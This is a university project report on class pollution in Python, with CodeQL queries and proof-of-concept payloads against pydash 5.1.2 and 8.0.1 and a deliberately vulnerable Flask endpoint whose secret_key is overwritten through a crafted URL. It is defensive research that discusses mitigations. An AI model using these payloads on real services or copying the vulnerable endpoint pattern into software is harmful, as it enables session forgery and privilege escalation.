# Class Pollution in Python

Group 15

June 06, 2024

Ludvig Christensen
ludvigch@kth.se

Sofia Edvardsson
sofiaedv@kth.se

## 1 Introduction

Prototype pollution has been a known vulnerability in prototype-based programming languages, such as JavaScript, for a few years. As the name suggests, prototype pollution is based around object prototypes that objects can inherit properties from. The vulnerability could have a major consequences considering that according to W3Techs [1], almost 99% of all websites use JavaScript for client-side. Last year, a similar vulnerability was found in Python, which is a class-based language. Here, the class inheritance is exploited in a similar manner to how prototypes are exploited. In this project we will describe class pollution in Python and some ways in which it differs from prototype pollution in JavaScript. We use CodeQL to try to find class pollution vulnerabilities in open source projects on GitHub. We will also provide demonstrations of known class pollution vulnerabilities and discuss their impact and mitigations. The demonstrations, as well as instructions on how to run them, can be found in the project GitHub repository https://github.com/ludvigch/langsec24-project.

## 2 Goal

The aim of the project is to study class pollution in open source projects and libraries in the Python ecosystem and showcase how to mitigate such vulnerabilities. Should no novel vulnerabilities be discovered the goal is to showcase a previously known vulnerability and how it was patched by developers. We also want to demonstrate how mitigations change the impact scope of class pollution attempts.

## 3 Background

Prototype pollution is a vulnerability that used to be known as only a vulnerability of prototype-based languages, such as JavaScript. In 2023, a blog post [2] by Abdulraheem Khaled broadened this view by discussing and showcasing attacks similar to the ones used for prototype pollution, but instead using classes in Python. Since this newly found group of attacks is found in class-based languages, instead of prototype-based ones, we refer to these vulnerabilities as class pollution vulnerabilities.

### 3.1 Prototype Pollution in JavaScript

Snyk Learn [3] describes prototype pollution as a type of injection attack that targets JavaScript runtimes. Prototype pollution can help an attacker gain control of the default values of an object, which can lead to denial of service and in some extreme cases even remote code execution.

#### 3.1.1 JavaScript Prototypes

PortSwigger [4] mentions that JavaScript uses an inheritance model that is based around prototypes. All objects in JavaScript are linked to its prototype, which is some type of object. One of JavaScript's built-in prototypes is by default assigned as the prototype of a new object. The thing with prototypes is that objects inherit all of their prototypes properties if no property with the same name has been explicitly assigned the object. This can be very useful for developers since new objects can utilise the functionality of already defined objects. When the property of an object is referenced, the engine first checks if the object has that property, and if not it checks if the prototype of the object has that property. If the prototype also lacks the property, the prototype of the prototype is then checked and so on until the top level `Object.prototype` is reached, whose prototype is `null`. This means that an object

has access to the properties and methods of all the prototypes in its prototype chain. It is possible to change the properties or override the methods of a prototype by explicitly defining them. The objects further down in the prototype chain would then inherit these changes [4].

### 3.1.2 Prototype Pollution

Prototype pollution is, according to PortSwigger [5], a vulnerability that allows attackers to add properties to global JavaScript prototypes which would then be inherited by the objects who have that prototype in their prototype chain. A common cause of prototype pollution is when an object that has user-controlled properties is merged with an existing object. An attacker could utilise the `__proto__` property to access or set properties of an objects prototype. The merge function could then assign properties to an object's prototype instead of the target object. Other objects that inherit from the infected prototype might then use those properties in an unsafe manner. All JavaScript prototypes can be susceptible to prototype pollution, however the top-level prototype `Object.prototype` is most commonly the target [5]. The reason behind this is probably that this prototype is a component of all objects prototype chains.

## 3.2 Class Pollution in Python

Class pollution can described as a prototype pollution-like attack on class based languages, such as Python. The attack usually modifies object attributes at runtime and can result in for example overwritten secrets and remote code execution.

### 3.2.1 Class Inheritance in Python

The Python documentation [6] states that class objects support attribute references and instantiation. The constructor `__init__()` is used by many classes to specify the attributes of the initial state. When creating a class in Python, we can specify a parent class that the class should inherit properties and methods from by writing `class ChildClass(ParentClass):` in the class declaration. This means that unless overridden, the child class inherits all attributes and methods from its parent class [6]. The child class can be compared to a JavaScript object and the parent class can be compared to the prototype of that JavaScript object. The documentation [6] also mentions that if a property of a child class is referenced, it is first checked if the property is defined in the child class, and if not the parent class is also checked. If the property cannot be found in the parent class than the parent class of the parent is checked and so on [6]. This makes up an inheritance chain that is similar to the prototype chain in JavaScript.

### 3.2.2 Class Pollution

The blog post [2] by Khaled states that even though prototypes do not exist in Python, the general idea behind prototype pollution can still be used to exploit Python programs. All Python objects have methods known as *dunder methods* that are implicitly invoked. These methods determine how objects of a class behaves when used in different statements and with different operators. The built-in classes have default implementations of dunder methods that are then inherited by new classes unless overridden. All Python objects also have special attributes, called *dunder attributes*, such as `__class__` and `__qualname__`, which are described in the Python documentation [7]. These special attributes are used for different purposes and are, just like dunder methods, inherited unless overridden. Special attributes can be used to exploit class pollution in Python [2].

It is stated in Khaled's post [2] that Python allows for objects of mutable type to have their attributes defined or overridden during runtime. This means that attributes can either be given to specific instances of a class, or to the class for all instances of that class to have the attribute. The attacker input is always treated as data, i.e. the input will not be interpreted as code. This means that trying to use a dunder method for class pollution often only results in the target program crashing. Because of this, special attributes are usually more suitable for class pollution attacks where the aim is not to only crash a program [2].

Khaled's blog post [2] states that dunder attributes make it possible to from an object instance of one class, add or modify global variables or attributes of other classes. By chaining special attributes in different ways, we are able to reach different parts of the program [2]. Let's assume that we have a class `ChildClass` that inherits all of its attributes and methods from its parent class `ParentClass`. Let an instance of `ChildClass` be called `obj`. By using `obj.__class__`, we can access the `ChildClass` class from the `ChildClass` instance `obj`. If we add the dunder attribute `__base__` we get `obj.__class__.__base__` which accesses the class of `obj`, i.e. `ChildClass`, and then accesses the parent class of that class, i.e. `ParentClass` in our case. To access the global variables of the namespace, we can instead use `obj.__class__.__init__.__globals__`, where `__init__` can be exchanged with any defined method of the instance `obj`.

### 3.2.3 Practical Example of a Class Pollution Vulnerability

What Khaled refers to as an *unsafe merge* in his blog post [2] is a good example of how class pollution works. This includes a recursive merge function that is equivalent to a JavaScript one susceptible to prototype pollution. A recursive merge function that sets an object's attributes using a JSON can look as follows:

```
# Recursive merge function
def merge(source, target):
  for key, value in source.items():
    if hasattr(target, "__getitem__"):
      if target.get(key) and type(value) == dict:
        merge(value, target.get(key))
      else:
        target[key] = value
    elif hasattr(target, key) and type(value) == dict:
      merge(value, getattr(target, key))
    else:
      setattr(target, key, value)
```

Let's say that we have three classes of which one is the parent class to the other two, i.e. the child classes inherit methods and attributes from the parent class. We define these three classes as:

```
class Father:
  secret = "I like Rust"

class Son(Father):
  pass

class Daughter(Father):
  pass
```

If we now create a `Son` instance `son = Son()` and try to print the son's secret we get:

```
print(son.secret)
# > I like Rust
```

and if we try to print the secret attribute of the `Daughter` class we get:

```
print(Daughter.secret)
# > I like Rust
```

so we are now convinced that the child classes inherit the parent class's attribute `secret`. Let us now see if we are able to modify the value of the parent class's by exploiting the class vulnerability in the recursive merge function. Our goal is to change the value of the `secret` variable from `"I like Rust"` to `"I LOVE MATLAB!"`. Let the `Son` instance `son` be the target input for the `merge(...)` function. We create the following JSON payload for changing the value of `secret`:

```
payload = {
  "__class__" : {
    "__base__" : {
      "secret" : "I LOVE MATLAB!"
      }
    }
  }
```

We will now explain the payload in more detail. The first round when we enter the `merge(...)` function, we enter the body of the `elif` statement since the `Son` object `son` does not have the attribute `__getitem__`, but `son` does have the attribute `__class__`, which is the value of `key` in the first round, and the `value` for the first round is the rest of the payload, which is a dictionary. In the body of the `elif` statement, `merge(...)` is called again but this time with the rest of the payload as `source` and `son.__class__`, i.e. the `Son` class, as `target`. The body of the `elif` statement is once again entered since the `Son` class has the attribute `__base__` and the rest of the payload is a dictionary. We enter the merge function a third time, now with `{"secret" : "I LOVE MATLAB!"}` as `source`, and `Son.__base__`, which is the `Son` class's parent class `Father`, as `target`. Since `"I LOVE MATLAB!"` is not a dictionary, we now enter the body of the `else` statement. Here the `settattr(...)` function is called which sets the `key` attribute of the `target` to `value`. In our case, this means that the `secret` attribute of the `Father` class is set to `"I LOVE MATLAB!"`.

Now, the `secret` attribute of the `Father` class should supposedly have been changed from being `"I like Rust"` to instead being `"I LOVE MATLAB!"`. We check that the `secret` attribute has been successfully polluted by printing

```
print(Father.secret)
# > I LOVE MATLAB!
```

Since neither the `Son` nor the `Daughter` class explicitly define the `secret` attribute, they should both inherit the polluted attribute from their parent class. We check if this is true for the `Daughter` class, as well as for the `Son` instance `son` to see if objects that have already been instantiated are also affected. We print the following:

```
print(Daughter.secret)
# > I LOVE MATLAB!
print(son.secret)
# > I LOVE MATLAB!
```

We can see here that the instantiated object also inherits the polluted attribute. This shows us that the recursive merge function is susceptible to class pollution, and makes it possible to change the attributes of parent classes when having an instance of a child class. The modified parent class attribute will then spread to all instances of its child classes where that attribute is not explicitly defined.

## 3.3 Differences Between Prototype Pollution and Class Pollution

An online post by CyberSRC [8] sheds light on some differences between prototype pollution and class pollution, which can be seen in Table 1. One quite obvious difference is that prototype pollution mainly affects languages that has prototypes, whereas class pollution vulnerabilities can be found in class-based languages. The goal of both attack vectors is usually to modify attributes that could be inherited by other objects. In JavaScript, this is done by changing the properties of prototypes, whereas in Python this is done by changing class attributes. One main difference between the two is that in class pollution, immutable global or built-in objects cannot be modified, and can therefore not be used for the exploit. The scope of a potential attack also varies between the two since the amount of possible manipulations is more limited for class pollution. It is however worth noting that class pollution still can have a vast impact on applications [8]. Another difference is the code patterns that may lead to pollution. JavaScript and Python are syntactically different and have different underlying data models, leading to different ways of achieving prototype respectively class pollution.

| Aspect | Prototype Pollution | Class Pollution |
|---|---|---|
| **Language Paradigm** | Affects mostly prototype-based languages. | Found in class based languages. |
| **Attack Vector** | Modifying prototypes. | Manipulate object attributes through user input. |
| **Immunity of Global/ Built-in Objects** | Global/Built-in objects can be manipulated. | Only mutable global/built-in objects can be manipulated. |
| **Attack Scope** | Can have broader consequences. | Constrained to built-in object types. Can still have significant impact. |

Table 1: Differences between prototype pollution and class pollution mentioned by CyberSRC [8].

# 4 Method

We took inspiration from the 2022 project "Prototype Pollution in Real World Applications" by Asta Olofsson and Mattias Grenfeldt to use CodeQL to look for class pollution vulnerabilities in open source Python projects. The Python projects that were studied were supposed to be the Python equivalences of some known JavaScript libraries that Snyk Learn [3] mentions have prototype pollution vulnerabilities (excluding minimist since the Python equivalence is a built-in library). We also looked at some other libraries whose functionality seemed to eventually allow for class pollution vulnerabilities to be introduced. One Python library that Khaled's blog post [2] mentions used to have a class pollution vulnerability is pydash. Because of this, we chose to look more into the vulnerability that can be found in older versions of pydash, as well as how the pydash developers have mitigated it in later releases.

## 4.1 CodeQL

CodeQL[1] is a semantic code analysis engine, making it possible to query code as if it was data. This is a powerful tool when looking for a specific pattern of code that might lead to a vulnerability, such as the previously mentioned unsafe merge. To be able to search for interesting patterns we created two queries.

The first query was created to find the pattern matching an unsafe merge function. In order to do so, a query that matches every recursive function was created, seen in Query 1. Since the query matches every recursive function in the code base, it does produce some false positives. However, the total amount of results for most codebases were not huge so the work of manual inspection was not very cumbersome.

**Query 1 - Match recursive functions**

```
import python

predicate isRecursive(PythonFunctionValue f) {
  f.getACall().getScope() = f.getScope()
}

from PythonFunctionValue targetFunc
where isRecursive(targetFunc)
select targetFunc, "recursive function"
```

The second query was crafted with the pydash vulnerability in mind. This query matches calls to the `setattr(...)` function in Python, as seen in Query 2. This query is very general and requires manual inspection of the matches since every `setattr(...)` call doesn't imply there is a class pollution vul-

[1] https://codeql.github.com/

nerability. However, we found that it was worth the manual effort of looking at the false positives since not every class pollution vulnerability or merge-like function is a recursive function. For example, the pydash vulnerability is an unsafe merge like the one previously described, but it is not implemented recursively. The pydash `set_(...)` function is coded in a more complicated manner and uses an implementation specific "path" to set attributes of objects. This means that combined queries that match recursive functions containing `setattr(...)` would give a false negative answer.

**Query 2 - Match setattr(...) calls**

```
import python

from Value len, CallNode call
where len.getName() = "setattr" and len.getACall() = call
select call, "A call to setattr"
```

## 4.2 Pydash

As previously mentioned, Khaled's blog post [2] describes that a class pollution vulnerability used to exist in pydash. Since the post was published on the 4th of January 2023, the last version of pydash released before that date, i.e. version 5.1.2, was first studied. The class pollution problem in pydash is said to have been fixed since then, so version 8.0.1, which is the latest release (as of May 23, 2024), was also studied so that a comparison could be done between the two. We decided to try to do a demonstration of a class vulnerability exploit for both pydash versions, as well as a demonstration of the vulnerability in pydash version 5.1.2 using Flask. We chose to show it in Flask since we believe it gives some further insight into how a class pollution vulnerability might be exploited "in the wild" and the potential impact an attack could have.

# 5 Result

In this section we present the result of the CodeQL queries with the number of matches for each project presented in a table. We also showcase some class pollution examples, one for pydash version 5.1.2, one for pydash version 8.0.1, and one implementation of Flask that uses pydash version 5.1.2. All the proof of concepts can be found in the GitHub repository[2] created for the project.

## 5.1 CodeQL Query Results

In Table 2, we can see the number of matches for each query on ten different packages[3]. We can see that all except three packages had at least one recursive function. Of all packages, the majority had at most one recursive function. The manual analysis looked for recursive patterns such as the previously described unsafe merge. A recursive function that doesn't manipulate object properties is not of interest when looking for this type of vulnerability. For example, some of the false positives of this query included sorting functions like merge sort, since the query matches every recursive function.

We can see that all packages have at least four function calls to `setattr`. It is also apparent that the average number of `setattr` matches is higher than the average number of recursive functions in the packages. When conducting manual analysis of the results of the second query we were interested in "deep" calls to `setattr`, i.e. functions that can set attributes using a paths to the attributes or something similar. This can be done recursively or iteratively. The less interesting results were single calls to `setattr` since an attacker only can modify the target instance of an object rather than anything higher up in the class hierarchy. Furthermore, multiple of the matches did some sort of type checking on the instance, such as only allowing a dictionary, which greatly limits the scope of the potential attack.

[2]https://github.com/ludvigch/langsec24-project/tree/main/poc
[3]The URLs for the packages can be found in Appendix B

| Package | Query 1 | Query 2 |
|---|---|---|
| Eve | 7 | 4 |
| Flask | 1 | 5 |
| Flaskbb | 0 | 14 |
| Jinja | 0 | 11 |
| Marshmallow | 3 | 4 |
| Pydash | 4 | 7 |
| Pyjwt | 0 | 4 |
| Pyquery | 1 | 6 |
| Pyramid | 1 | 10 |
| Toolz | 3 | 7 |

Table 2: CodeQL matches per package for Query 1 and Query 2.

## 5.2 Pydash

Pydash is, according to its official GitHub repository [9], the "kitchen sink of Python utility libraries" and the library supposedly enables for things to be done in a more functional manner. The library is based on the JavaScript library Lodash, which according to Khaled's post [2] is known to have had prototype pollution vulnerabilities.

### 5.2.1 Class Pollution in Pydash

We were able to identify pydash's `base_set(...)` function, which is indirectly called by pydash's `set_(...)` function, as the vulnerable point that made class pollution possible in version 5.1.2. More precisely, we found the function call inside the last `elif` statement to be vulnerable. Below is the last `elif` statement of the `base_set(...)` function:

```
def base_set(obj, key, value, allow_override=True):
    ⋮
  elif (allow_override or not hasattr(obj, key)) and obj is not None:
    setattr(obj, key, value)
  return obj
```

The body of the last `elif` statement is entered if the object `obj` is neither a dictionary, a list, nor `None`, and `key` is either not already an attribute of the object or allowed to be overwritten. In the `elis` statement's body, `setattr(...)` is called, which is supposed to set the `key` attribute of an object `obj` to `value`. However, `key` is allowed to be a chain of attributes, and since there are no restrictions in place regarding which attributes are allowed, special attributes such as `__class__` and `__globals__` can be used to escape the objects attributes and instead change the value of, for example, global attributes.

In the most recent version of pydash, the body of last `elif` statement has been changed to instead look like this:

```
def base_set(obj, key, value, allow_override=True):
    ⋮
  elif (allow_override or not hasattr(obj, key)) and obj is not None:
    _raise_if_restricted_key(key)
    setattr(obj, key, value)
  return obj
```

The `_raise_if_restricted_key(key)` function is a new addition that raises a `KeyError` if at least one of the special attributes `__globals__` and `__builtins__` are a part of the attribute `key`. This change makes it so that variables and classes that cannot be found in the object's inheritance chain

can no longer be impacted by class pollution. It is however worth noting that attribute chaining is still possible, which means that parent classes higher up in the hierarchy can still be polluted, which may have an impact on the other classes that inherit attributes from the polluted class.

### 5.2.2 Mitigations in Pydash

The first solution implemented by the developers of pydash [9] was to use a blacklist that identifies illegal user input. More precisely, they implemented a function that checked for dunder method attributes by checking some properties of the user input. First, it was checked if the user input was longer than 4 characters. Secondly it was checked if the user input only contained ASCII characters. Lastly it was checked if the user input started and ended with `__`. If all three conditions were satisfied, a `KeyError` was raised. This fix was however later changed, and the most recent version only blacklists user input containing `__globals__` and `__builtins__`. The reasoning behind this change was that the prior fix might have been a little bit too restrictive and limited functionality that could be useful for other purposes, e.g. logging [9].

### 5.2.3 Proof of Concepts in Pydash

The following sections help demonstrate how class pollution could and can be used in pydash to modify the value of attributes. We have chosen to do one demonstration for version 5.1.2 of pydash and another one for version 8.0.1 of pydash. The purpose of this is to showcase how the mitigation implemented by the developers of pydash impacts the scope of what is possible to do with class pollution in pydash.

#### 5.2.3.1 Pydash Version 5.1.2

We first want to demonstrate how pydash version 5.1.2 could be exploited via class pollution. This example is inspired by an example in Khaled's blog post [2].

```
import pydash

global_secret = "very secret"

class User:
  def __init__(self):
    pass

class NotAccessibleClass:
  pass

user = User()
```

Pydash version 5.1.2 is first imported and the global variable `global_secret` is defined as `"very secret"`. The `User` class is then defined with a constructor that only contains `pass` and a constructorless class called `NotAccessibleClass` that only has a `pass` is then defined. Finally a `User` instance is created. We can ensure that everything has been defined as we want by calling some `print` statements. To check that the `global_secret` variable has been set correctly, we call:

```
# before class pollution
print(global_secret)
# > very secret
print(NotAccessibleClass.__qualname__)
# > NotAccessibleClass
```

Since the printed text matches the definitions, we can now move on to the class pollution exploit. We first try to change the value of the global variable `global_secret`. Let the attribute be

```
key1 = "__class__.__init__.__globals__.global_secret"
```

and let the value that we want to set `global_secret` to be `value1 = "1337"`. By calling the `set_(...)` function in the following way

```
pydash.set_(user, key1, value1)
```

the global variable `global_secret` should have been polluted, that is its value should have changed from `"very secret"` to `"1337"`. We then want to change the name of the class called `NotAccessibleClass`. Now, let the attribute instead be defined as

```
key2 = "__class__.__init__.__globals__.NotAccessibleClass.__qualname__"
```

and let the name we want the class to have be `value2 = "PollutedClass"`. If we then call

```
pydash.set_(user, key2, value2)
```

the name of the class `NotAccessibleClass` should have been changed to `PollutedClass`. To confirm that our exploits were successful, we once again print

```
# after class pollution
print(global_secret)
# > 1337
print(NotAccessibleClass.__qualname__)
# > PollutedClass
```

and from the output we can see that they have been successfully polluted.

#### 5.2.3.2 Pydash Version 8.0.1

As previously mentioned, mitigations have been implemented in pydash after Khaled's blog post [2] was published, first a very restrictive mitigation and later a more relaxed one. Since the latest relaxed mitigation restricts the input to not contain `__globals__` or `__builtins__` one can only use gadgets accessible from the class being set. However, as shown in this proof of concept, that can lead to implementation dependent vulnerabilities. This proof of concept is being tested with the latest version of pydash at the time of writing, namely version 8.0.1.

```
import pydash

class User:
  isAdmin = False

  def get_isAdmin(self):
    return self.isAdmin

class RegularUser(User):
  pass

class Admin(User):
  isAdmin = True

user = RegularUser()
```

Pydash version 8.0.1 is first imported. A class called `User` is then defined with the attribute `isAdmin = False` and the method `get_isAdmin` which returns whether or not a user is an admin. Two child classes to the `User` class are then defined. The `RegularUser` class only contains a `pass` whereas the `Admin` class defines the attribute `isAdmin = True`. This means that the `RegularUser` class inherits the `isAdmin` attribute from the `User` class whereas the `Admin` class does not. Lastly a `RegularUser` instance called `user` is created. We print the output of `get_isAdmin()` for user to confirm that the attribute has been inherited from the `User` class.

```
print("RegularUser isAdmin before pollution: ", user.get_isAdmin())
# > RegularUser isAdmin before pollution: False
```

We now want to use class pollution to modify the `User` class's `isAdmin` attribute so that it is changed from `False` to `True`. We once again use pydash's `set_(...)` function to do this. We have that the object is the `RegularUser` instance `user` and by using `"__class__.__base__.isAdmin"` as the `key`, we can access the `isAdmin` attribute in the `User` class. We have that the `value` in the function call is `True` since that is what we want to set the attribute `isAdmin` to.

```
pydash.set_(user, "__class__.__base__.isAdmin", True)
```

The `User` class's `isAdmin` attribute should supposedly now have been polluted, that is we should have that `User.isAdmin = False`. This would then imply that all classes inheriting the `isAdmin` attribute from `User` should also have that their `isAdmin` attribute has the value `True` now. We check this by printing whether or not the `RegularUser` instance `user` is an admin.

```
print("RegularUser isAdmin after pollution: ", user.get_isAdmin())
# > RegularUser isAdmin after pollution: True
```

From the printed statement, it is clear that the `isAdmin` attribute of the `RegularUser` class has been modified from `False` to `True`. Since the `RegularUser` class inherits the `isAdmin` attribute from the `User` class, this then also confirms that the `isAdmin` attribute in the `User` class was successfully polluted, with its value being set to `True`. This shows that after the fix was implemented, it is still possible to pollute classes further up in an object's inheritance chain. The biggest change after mitigation is therefore that the class pollution has been limited to the mutable classes in an object's inheritance chain.

This example helps demonstrating that the impact and actual vulnerability is very implementation-dependent since we can only add or change attributes in the class hierarchy of the `user` object. How the objects themselves may be used also depends a lot on the implementation. Therefore, an important factor of what can be achieved is what type of object is passed to pydash's `set_(...)` function.

### 5.2.4 Class Pollution in Flask

To further showcase the potential impact of class pollution we have created a proof of concept using Flask[4], a micro web framework for Python. This example aims at showcasing a more realistic picture of the potential impact of class pollution vulnerabilities. This demonstration uses the previously discussed vulnerability in pydash version 5.1.2. By leveraging this vulnerability occurring in a web service built on Flask, it is possible to pollute the `secret_key` attribute of the Flask class. In the Flask documentation, the `secret_key` attribute is described as "A secret key that will be used for securely signing the session cookie and can be used for any other security related needs by extensions or your application" [10]. Thus, the impact of an attacker modifying this attribute to an arbitrary value is quite bad.

Below is the code for this proof of concept.

[4]https://flask.palletsprojects.com/en/3.0.x/

```
import pydash
from flask import Flask, request

app = Flask(__name__)
app.secret_key = "secret value"

class User():
  def __init__(self):
    pass

@app.route("/")
def poc():
  print("secret_key before: "+app.secret_key)
  user = User()
  path = request.args.get('path')
  value = request.args.get('val')
  if value != None and path != None:
    pydash.set_(user, path, value)
  else:
    return "you need to specify /?path=<path to edit>&value=<value to edit>"
  print("secret_key after: "+app.secret_key)
  return "you queried: /"
```

This is a minimal implementation of a web service using Flask with the `secret_key` set to `"secret value"`. With the server running locally one can send the following request:

```
"http://127.0.0.1:5000/?path=__class__.__init__.__globals__.app.secret_key&val='1337'"
```

This request uses the vulnerability in pydash 5.1.2 to set the secret key to `"1337"`. Worth noting is that this is done when trying to set an attribute of an instance of the `User` class, but it is still possible to access and modify other attributes through `__globals__`.

# 6 Discussion

As seen in the results from the CodeQL queries, there were some matches, but we didn't discover any novel vulnerabilities. CodeQL is a good tool for finding potential vulnerable patterns but also yields false positives unless more sophisticated queries are crafted. However, our queries did find the relevant code in pydash which goes to show that it has the potential to find sections where class vulnerabilities can be found. Furthermore, we suspect that the number of matches for Query 2 might have been inflated by built-in Python libraries, and that the number of package specific matches might be four less than the number reported for Query 2 in Table 2. If these built-in matches could be ignored by the query, the result would be more true to the content of the packages and the amount of manual inspection needed could be reduced.

As seen in the analysis and result regarding pydash, as well as in general when it comes to security related to user input, proper sanitation of the input is of great importance. As a developer, it's important to have the use case in mind and think of how the application will be used and what a malicious user might be able to influence with their input. We can see from the mitigations for pydash that it can be difficult balancing between ensuring that no malicious input gets through, and maintaining functionality that can be used for e.g. logging. One could also reflect over who should be responsible for the mitigation of vulnerabilities like the ones shown. Since pydash first implemented a very restrictive mitigation and later on made it more relaxed, it could be interpreted that the developers of pydash made the decision to let developers have the responsibility of knowing the potential side effects and risks of using the `set_(...)` method. As shown in the demonstration of the latest pydash version, it's still possible to, for example, change attributes of parent classes of an object. However, we are unsure if this could be classified as a class pollution vulnerability or if it's an intended feature.

An attacker being able to modify the `secret_key` of a Flask instance is obviously not good. As previously described, the secret is by default used to sign the session cookies, meaning that an attacker with control over the secret can sign arbitrary cookies. Furthermore, since the documentation also states that it may be used for other security related needs, the impact can be implementation-dependent. Suppose, for example, that the secret is used for some kind of encryption or some other confidentiality or integrity related needs, then there might be vast impacts since the confidentiality or integrity is only achieved when the key maintains secret. The vulnerability in Flask exists because of the vulnerability in pydash version 5.1.2, which means that a mitigation could be to simply use a more recent version of pydash where the class pollution vulnerability has been patched. The Flask example also shows how package dependencies can cause vulnerabilities which might be hard to identify.

To mitigate the issues arising from class pollution vulnerabilities, such as the one in pydash 5.1.2, there are some options. Firstly, it might not be appropriate to be able to set the attributes of a class that is higher than the class of an instantiated object in the inheritance hierarchy. This is because by allowing such modifications, more inherited attributes in other classes might be unintentionally changed as a side effect. Secondly, an approach like the first pydash mitigation is a valid mitigation technique. By imposing conditions on which attributes may be set, for example by not allowing any dunder attributes or methods to be set, the scope of the impact is decreased. However, as seen in the pydash mitigation, this could be considered too strict since useful functionality might be lost. Another possible mitigation is to make the `isAdmin attribute`, as seen in the last pydash example, private. By changing the `isAdmin` attribute to `__isAdmin`, it is according to Python conventions to be treated as a private attribute [6]. This is a soft enforcement that APIs may choose to follow, which means that the attribute is public but most APIs won't allow access to it from outside the class it is defined in. Pydash does follow this convention causing it to be an effective mitigation in this case. By implementing the change the proof of concept no longer works and therefore limits the impact of class pollution in this case. However, it should be noted that it is a choice to follow the conventions so this is not a guarantee to rely on for all packages. Lastly, we believe that the best way to minimise the risk of class pollution is, as a developer, to audit and analyse potentially vulnerable code in applications. There is no single solution to the problem and the mitigation depends a lot on the specific implementation and how an attacker might be able to exploit a vulnerable application with their input. Therefore developers should strive for learning about potential risks and have security in mind when writing programs.

# 7 Conclusion

We found that CodeQL could be a helpful tool when trying to identify class pollution vulnerabilities, but the queries would need to be more sophisticated to reduce the number of false positives. As demonstrated above, the impact of a class pollution vulnerability varies depending on the target application. Manipulating classes or global variables in an application can lead to corruption and malfunctions. Furthermore, dependencies between projects allows for widespread corruption to be caused by a single vulnerability. From the studied mitigations, it is apparent that it can be a difficult balance between limiting class pollution vulnerabilities and maintaining useful functionality. A developer must understand how such vulnerabilities occur to effectively protect against them.

## 7.1 Future Work

In the future, we would recommend improving and refining the queries used for CodeQL so that they could return matches that are more likely to be vulnerable to class pollution. This could help reduce the amount of manual inspection needed to determine whether or not the match has a class pollution vulnerability. A great addition to this would be to try to somewhat automate the querying process so that more open source projects could be analysed. It could also be interesting to see if other programming languages than JavaScript and Python have similar pollution vulnerabilities.

# References


[1] 'Usage statistics of JavaScript as client-side programming language on websites', *W3Techs.* 27 May 2024. https://w3techs.com/technologies/details/cp-javascript (accessed 27 May 2024)

[2] A. Khaled. 'Prototype Pollution in Python', *Abdulrah33m's Blog.* 4 Jan. 2023. https://blog.abdulrah33m.com/prototype-pollution-in-python/ (accessed 25 Apr. 2024)

[3] 'Prototype pollution', *Snyk Learn.* n.d.. https://learn.snyk.io/lesson/prototype-pollution/ (accessed 21 May 2024)

[4] 'JavaScript prototypes and inheritance', *Portswigger.* n.d.. https://portswigger.net/web-security/prototype-pollution/javascript-prototypes-and-inheritance (accessed 21 May 2024)

[5] 'What is prototype pollution?', *Portswigger.* n.d.. https://portswigger.net/web-security/prototype-pollution (accessed 21 May 2024)

[6] '9. Classes', *Python Documentation.* May 2024. https://docs.python.org/3/tutorial/classes.html (accessed 21 May 2024)

[7] '3. Data model', *Python Documentation.* May 2024. https://docs.python.org/3/reference/datamodel.html (accessed 21 May 2024)

[8] Security Team. 'Unveiling Class Pollution: A New Threat in Python's Codebase', *CyberSRC.* Sep. 2023. https://cybersrcc.com/2023/09/07/unveiling-class-pollution-a-new-threat-in-pythons-codebase/ (accessed 25 Apr. 2024)

[9] 'pydash', Apr. 2024. https://github.com/dgilland/pydash?tab=readme-ov-file (accessed 23 May 2024)

[10] 'Configuration Handling', *Flask.* n.d.. https://flask.palletsprojects.com/en/3.0.x/config/ (accessed 23 May 2024)

## Appendix A - Contributions

While working on the project most of the work was done in person to allow for continuos collaboration and discussion. Initially, Ludvig focused more on learning how CodeQL works and how it could be utilised during the initial stage of the project. Ludvig also implemented the Flask demonstration, as well as the demonstrations for the two versions of pydash. Meanwhile, Sofia focused more on writing the report and started of be establishing a knowledge basis for the rest of the project by exploring background information. While Ludvig ensured that the demonstrations worked as we wanted, Sofia tried to describe them in a way that was suitable for the report. Later, both explored mitigations that could be implemented as well as compiled the results from CodeQL. Lastly, the report was written in collaboration. Overall Ludvig focused more on the parts related to how the examples were implemented, such as the method and result sections, while Sofia focused more on the theoretic parts, such as the background section, and the pydash examples. The final sections, such as the discussion and conclusion, were written together.

## Appendix B - Package URLs

The following table contains the URLs to the GitHub repositories for the Python packages that were used for the CodeQL queries.

| Package | URL (Accessed 27/5-2024) |
|---|---|
| Eve | https://github.com/pyeve/eve |
| Flask | https://github.com/pallets/flask |
| Flaskbb | https://github.com/flaskbb/flaskbb |
| Jinja | https://github.com/pallets/jinja/ |
| Marshmallow | https://github.com/marshmallow-code/marshmallow |
| Pydash | https://github.com/dgilland/pydash |
| Pyjwt | https://github.com/jpadilla/pyjwt |
| Pyquery | https://github.com/gawel/pyquery |
| Pyramid | https://github.com/Pylons/pyramid |
| Toolz | https://github.com/pytoolz/toolz |